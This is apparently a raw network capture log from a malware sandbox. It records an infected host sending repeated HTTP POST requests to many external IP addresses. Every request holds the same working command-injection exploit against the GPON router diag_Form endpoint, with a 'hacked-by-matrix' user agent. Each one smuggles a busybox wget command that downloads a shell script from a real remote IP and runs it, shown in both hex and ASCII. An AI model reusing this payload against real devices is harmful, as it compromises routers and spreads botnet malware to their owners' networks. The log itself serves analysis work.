Mar 21, 2024 05:25:22.996175051 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
309	192.168.2.23	55632	210.215.67.255	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:22.996175051 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
310	192.168.2.23	54602	212.26.64.198	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:22.996196985 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
311	192.168.2.23	60610	212.251.74.198	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:22.996206999 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
312	192.168.2.23	56528	37.73.206.177	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:22.996340036 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
313	192.168.2.23	57472	5.206.81.151	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:22.996376038 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
314	192.168.2.23	36362	5.22.14.24	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:26.004256010 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
315	192.168.2.23	38200	178.110.227.119	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:26.004281044 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
316	192.168.2.23	33028	94.92.109.0	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:26.004307032 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
317	192.168.2.23	50416	37.249.5.6	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:26.004313946 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
318	192.168.2.23	33290	94.92.61.148	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:26.004316092 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
319	192.168.2.23	53588	79.119.42.0	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:26.004343987 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
320	192.168.2.23	51826	212.70.116.210	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:26.004360914 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
321	192.168.2.23	33546	79.27.224.159	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:26.004381895 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
322	192.168.2.23	44896	79.123.193.176	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:26.004388094 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
323	192.168.2.23	44014	79.190.93.53	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:26.004412889 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
324	192.168.2.23	48864	5.214.28.255	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:26.004427910 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
325	192.168.2.23	34658	118.68.235.214	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:26.004451036 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
326	192.168.2.23	56606	79.169.5.38	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:26.004467010 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
327	192.168.2.23	53432	109.36.147.236	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:26.004470110 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
328	192.168.2.23	37016	42.205.184.221	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:26.004483938 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
329	192.168.2.23	52336	118.37.242.18	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:26.004496098 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
330	192.168.2.23	57468	42.2.8.17	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:26.004518986 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
331	192.168.2.23	42082	109.49.225.168	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:26.004537106 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
332	192.168.2.23	41340	212.66.56.84	443

Timestamp	Bytes transferred	Direction	Data
